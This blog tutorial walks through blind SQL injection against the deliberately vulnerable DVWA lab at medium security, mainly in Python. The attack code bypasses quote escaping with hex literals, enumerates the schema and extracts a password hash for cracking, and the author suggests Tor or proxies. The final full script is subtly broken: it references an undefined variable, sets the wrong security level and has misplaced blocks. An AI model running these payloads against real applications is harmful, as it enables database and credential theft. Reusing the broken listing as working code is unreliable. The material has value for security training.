Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

Blind SQL Injection: How To Hack DVWA With Python (Medium Security)

·

14 min read

After pwning low-security DVWA with a blind SQL Injection attack, it’s time to try a medium level of security by using Python!
I’m going to assume that you read the previous post at this link so that we can focus our efforts just on new concepts.

If you are not familiar with SQL Injection, here there is a list of all my previous articles that can make you an SQLi ninja!

In-Band SQL injection

Blind SQL injection

So our starting point will be the python script that we used to exploit DVWA with a low-security level, and from that, we will make some little changes to face the medium level of difficulty.

As you already should know I’m lazy, so I will not configure a machine of my own again this time but I’m going to use the preconfigured one at TryHackMe.

You can find a brief explanation of the configuration steps in this article:

But now let’s start with the real challenge!

Prerequisites

As you already may know, I tried to build a little library that will allow you to focus just on the Blind SQL Injection attack (and ignore the login part plus the CSRF token management), so before following the tutorial get the “utils.py” file from the GitHub repository in this link (You can also find the whole code at the end if you prefer copy-pasting).

After that you should install the following libraries:

  • BeautifulSoup: library in charge of parsing HTML.

  • requests: a library that helps to send HTTP requests.

You can do that by typing this on your terminal:

pip install beautifulsoup4 requests

There is no more to do, you are ready to start!

Step #0: The Differences with low-security DVWA

Probably this is the most important section if you already have read the previous article.

We want to perform a Blind SQL injection attack with python on DVWA after setting the security level as “medium”.
We already did most of the work, so we can focus just on the differences between Low-Security and Medium-Security.

There are only two main differences that would make us change our previously taken approach.

We should know from this article that mysql_real_escape_string it’s not enough to prevent an SQL injection attack, regardless of its type.
As the documentation says:

mysql_real_escape_string() calls MySQL’s library function mysql_real_escape_string, which prepends backslashes to the following characters: \x00, \n, \r, \, ', " and \x1a.

So what if we can use python to perform a Blind SQL Injection attack without using those characters on DVWA medium security?

Now the question is:

How can we use a string in our Blind SQL Injection python script without using single/double quotes?

The MySQL documentation can help us with the concept of hexadecimal literals that can make us insert a string by using its hex value without quotes.

How to convert a string into its hexadecimal literal value in python?

In python we can convert a string into its hexadecimal literal value in a very simple way, we need to encode the function by using encode and then convert with the hex function.

But in order to use the hexadecimal version in a query we need to prepend the “0x” string to the result.

So to make everything more readable, let’s define the function that will convert every string in our python script.

def get_hex_str(string):
    return f'0x{string.encode("utf-8").hex()}'

Changing the GET (HTTP) method with POST (HTTP)

At this point, we have solved the problem of the mysql_real_escape_string function.
But if we take the python script we used into the low difficulty level as our starting point, we have to consider that we have to change the HTTP method into POST.

Thanks to the choices we made earlier we can achieve the goal just by changing a few lines in the get_query_result function.

Let’s see the new function:

def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)
        data = {
            "id": concrete_query,
            "Submit": "Submit"
        }
        response = s.post(sqli_blind_url, data=data)
        parser = DVWASQLiResponseParser(response)
        return parser.check_presence("exist")
    except AttributeError as e:
        return False

Wasn’t it simpler than you thought?

Now we can see step by step the little changes we can do to make the script work and exploit the Blind SQL section in our DVWA machine.

The query dictionary

I want to sort the code and make all the important work visible at a first glance, so differently from the previous script, this time I grouped all the payload in a global dictionary.

queries = {
    "db_length": "1 AND LENGTH(DATABASE()) = {} #",
    "db_name": "1 AND SUBSTRING(DATABASE(), {}, 1) = {}",
    "n_tables": "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #",
    "tables": "1 AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema={} {} LIMIT 1),{},1)={} #",
    "n_columns": "1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #",
    "columns": "1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #",
    "users": "1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #",
    "pwd_len": "1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #",
    "pwd": "1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #"
}

Step #1: Getting The Database Info

The first step in case of a black box attack is to get information about the database.
In this case, I would assume we already know that MySQL is the target DBMS (I showed how to know that in my previous articles by using the MySQL Version function).

The idea to perform a Blind SQL Injection attack with python on DVWA with a medium level of security is not so different from what we have already seen.
We have to use the LENGTH function and test it by comparing it with a reasonable range of values.
The payload will be ( remember that the curly braces are a placeholder that we are going to replace in our code):

1 AND LENGTH(DATABASE()) = {} #

After that, we know the length of the name of the database and we can test all the substrings, keeping in mind that we cannot use the quotes, so the values have to be converted into their hex values.

This is the payload that, thanks to the SUBSTRING function, will let us retrieve the name of the database:

1 AND SUBSTRING(DATABASE(), {}, 1) = {}

We have already seen how to run the payload and get the result, but a review will not hurt us!

query = queries["db_length"]
length = 0
for i in range(1,10):
    if get_query_result(s, sqli_blind_url, query, i):
        print(f"[+] The DB's name length is {i}")
        length = i
        break


query = queries["db_name"]
dbname = []

for i in range(1, length+1):
    for c in string.ascii_lowercase:
        if get_query_result(s, sqli_blind_url, query, i, get_hex_str(c)):
            dbname.append(c)
            break
dbname = "".join(dbname)
print(f'[+] Found a database with name: {dbname}')

Step #2: Getting The Tables Info

The next step that a good hacker will perform is to retrieve the tables’ information, in particular, we want to know:

  • Number

  • Names

Getting the number is not so different from getting the length of the database’s name, this time we need to count them and compare them with a range of reasonable numbers (you can make your hypotheses about what is “reasonable”!), for our examples I have chosen a range between one and ten.

To do that we are going to query the information_schema.tables metatable and use the COUNT function

This is the resulting payload:

1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #

The “WHERE” clause requires a string, so we have to pay attention and replace the placeholder with its hexadecimal value, this is how in python:

query = queries["n_tables"]
n_tables = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), i):
        print(f"[+] It has {i} tables")
        n_tables = i
        break

Now we know the number of tables, the next step is to list them, at this point we can have two main problems:

  • Blind SQL injection can allow testing just one name at a time.

  • Enumerating many tables can require a lot of time.

The way we solve the first problem is by appending a chain of not equals in the WHERE clause in order to exclude the tables we have already found (in the next paragraph we will see another technique with a LIMIT clause).

We are going to partially solve the second one by allowing the user to early stop the scanning when it finds the right table.

This is the code:

query = queries["tables"]

found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):        
    for j in range(1, 10):
        for c in string.ascii_lowercase:
            if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), completion, j, get_hex_str(c)):
                found_tables[i].append(c)
                break
    print("\t","".join(found_tables[i]))
    completion += f" AND table_name <> {get_hex_str(''.join(found_tables[i]))}"

Step #3: Getting The Table Info

The idea behind the article is to build an all-in-one script, so, how can the script know what is the target table?

The quick response is: it can’t!

So, without making up anything, we can just accept the user input:

users_table = input("Type the tabname to attack: ")

After that we have a string to insert in our WHERE clause (remember that you can insert just its hex values) and get the info we need:

  • Columns’ number

  • Columns’ names

The payloads are not so different from the ones we have seen for enumerating the tables.
Getting the number of columns can be done also in this case by using the COUNT and comparing the result with a range of numbers (1-10 in the example).

This is the payload that will return us the info we need:

1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #

And this is the code that will use this payload!

query = queries["n_columns"]

n_columns = 0
for i in range(1, 10):
    if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i):
        print(f"[+] It has {i} columns")
        n_columns = i
        break

Given this information we can get all the tab names we are looking for by using this payload:

1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #

In this case, we are listing all the tables.
The idea is to get the tables one by one, this time is done by using the LIMIT clause that has a row_count as the first parameter and the index as the second parameter.

The code would be nothing new to your eyes:

found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
    for i in range(n_columns):        
        for j in range(1, 12):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i, j, get_hex_str(c)):
                    found_columns[i].append(c)

                    break
        print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
    print("\nSkipping this phase!")

Step #4: Getting The Users Info

Now we want to get the username and the password, and to do that we have to indicate we need to tell the script which columns are related to these fields.

Also in this case we will ask the user the target columns’ name:

users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")

Given those inputs, we can list the users, even in this case the user can stop the scanning.

A careful observer would notice that this time the script won’t count the number of users.
But I preferred to use a reasonable value aware that we would stop the scan sooner.

The payload that will allow us to do that is the following:

1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #

Step #5: Getting The Password

Finally, we are at the end of the python script that will allow us to perform a Blind SQL injection attack on a DVWA with a medium level of security.

Selecting the target user is essential to keep attacking, and once again we will ask the user:

username = input("Type the name of the target user: ")

Now we have all we need to complete the attack, we just miss two pieces of information and you probably imagine which ones:

  • The length of the password

  • The password itself

The payload to get the length of the password is:

1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #

As we did previously we can inject the payload with this python code:

query = queries["pwd_len"]
pwd_length = 0
for i in range(100):

    if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), i ):
        pwd_length = i
        print(f"[+] The password length is: {i}")

The last step in our script is to define the payload and the code that will run it.

1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #

This will be run by the following code.

query = queries["pwd"]
password = []
for j in range(1, pwd_length+1):

    for c in string.ascii_letters+string.digits:

        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), j, get_hex_str(c)):
            password.append(c)

            break
print("[+] Password is: ","".join(password))

The python script is done, now just run it.

Step #6: Running The Blind SQL Injection Python Script On DVWA with a medium security level.

Saving the script in a file called “main.py” can be run from the command line by typing:

python main.py

And this is the final result!

python script performing SQL injection attack on DVWA medium security

The password is obviously the result of a Hash Function, probably MD5.

Cracking can be done by using online tools like CrackStation.

So, we can go to CrackStation and try to crack it:

DVWA password cracking on crackstation

Step #7: Final Overview.

You maybe want to see the whole code, so here is the overview of the whole code:

from utils import *
from ast import literal_eval
def get_query_result(s, sqli_blind_url, query, *args):
    try:
        concrete_query = query.format(*args)

        response = s.post(sqli_blind_url, data=data)

        parser = DVWASQLiResponseParser(response)

        return parser.check_presence("exist")
    except AttributeError as e:
        return False
def get_hex_str(string):
    return f'0x{string.encode("utf-8").hex()}'

queries = {
    "db_length": "1 AND LENGTH(DATABASE()) = {} #",
    "db_name": "1 AND SUBSTRING(DATABASE(), {}, 1) = {}",
    "n_tables": "1 AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema={})={} #",
    "tables": "1 AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_schema={} {} LIMIT 1),{},1)={} #",
    "n_columns": "1 AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name={})={} #",
    "columns": "1 AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name={} LIMIT {}, 1),{},1)={} #",
    "users": "1 AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)={} #",
    "pwd_len": "1 AND LENGTH((SELECT {} FROM {} WHERE {}={}))={} #",
    "pwd": "1 AND SUBSTR((SELECT {} FROM {} WHERE {}={} LIMIT 1), {}, 1)={} #"
}

if __name__ == "__main__":
    BASE_URL = "http://10.10.87.65"
    sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind/#"

    with DVWASessionProxy(BASE_URL) as s:
        s.security = SecurityLevel.HIGH


        query = queries["db_length"]
        length = 0
        for i in range(1,10):
            if get_query_result(s, sqli_blind_url, query, i):
                print(f"[+] The DB's name length is {i}")
                length = i
                break


        query = queries["db_name"]
        dbname = []

        for i in range(1, length+1):
            for c in string.ascii_lowercase:
                if get_query_result(s, sqli_blind_url, query, i, get_hex_str(c)):
                    dbname.append(c)
                    break
        dbname = "".join(dbname)
        print(f'[+] Found a database with name: {dbname}')


        query = queries["n_tables"]
        n_tables = 0
        for i in range(1, 10):
            if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), i):
                print(f"[+] It has {i} tables")
                n_tables = i
                break


        query = queries["tables"]

        found_tables = [[] for _ in range(n_tables)]
        completion = ""
        for i in range(n_tables):        
            for j in range(1, 10):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, get_hex_str(dbname), completion, j, get_hex_str(c)):
                        found_tables[i].append(c)
                        break
            print("\t","".join(found_tables[i]))
            completion += f" AND table_name <> {get_hex_str(''.join(found_tables[i]))}"



    users_table = input("Type the tabname to attack: ")
    query = queries["n_columns"]

    n_columns = 0
    for i in range(1, 10):
        if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i):
            print(f"[+] It has {i} columns")
            n_columns = i
            break

    query = queries["columns"]

    found_columns = [[] for _ in range(n_columns)]
    completion = ""
    print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
    try:
        for i in range(n_columns):        
            for j in range(1, 12):
                for c in string.ascii_lowercase:
                    if get_query_result(s, sqli_blind_url, query, get_hex_str(users_table), i, j, get_hex_str(c)):
                        found_columns[i].append(c)

                        break
            print("\t","".join(found_columns[i]))
    except KeyboardInterrupt as e:
        print("\nSkipping this phase!")


    users_column = input("Type the name of the column containing usernames: ")
    passwords_column = input("Type the name of the column containing passwords: ")

    query = queries["users"]

    found_users = [[] for _ in range(10)]

    print("[!] In order to speed up, try to press CTRL+C when you find the target user")
    try:
        for i in range(10):        
            for j in range(1, 12):
                for c in string.ascii_letters+string.digits:
                    if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, get_hex_str(c)):
                        found_users[i].append(c)

                        break
            print("\t","".join(found_users[i]))
    except KeyboardInterrupt as e:
        print("\n Skipping this phase!")

    username = input("Type the name of the target user: ")

    query = queries["pwd_len"]
    pwd_length = 0
    for i in range(100):

        if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), i ):
            pwd_length = i
            print(f"[+] The password length is: {i}")

    query = queries["pwd"]
    password = []
    for j in range(1, pwd_length+1):

        for c in string.ascii_letters+string.digits:

            if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, get_hex_str(username), j, get_hex_str(c)):
                password.append(c)

                break
    print("[+] Password is: ","".join(password))

Conclusion

I hope you appreciated this article, I really enjoyed a lot to write it (especially the coding part).
I know that there are a lot of tools doing that better that are widely configurable, but this is the best way to learn, and maybe, in some cases, you are forced to do that during your career.

In addition to that, remember that this script can be modified to work with threads and maybe proxies or Tor network, you can do a lot with this knowledge!

Thank you for your time, and every feedback would be appreciated. If you like my work keep following me on my blog and socials!

Did you find this article valuable?

Support Stackzero by becoming a sponsor. Any amount is appreciated!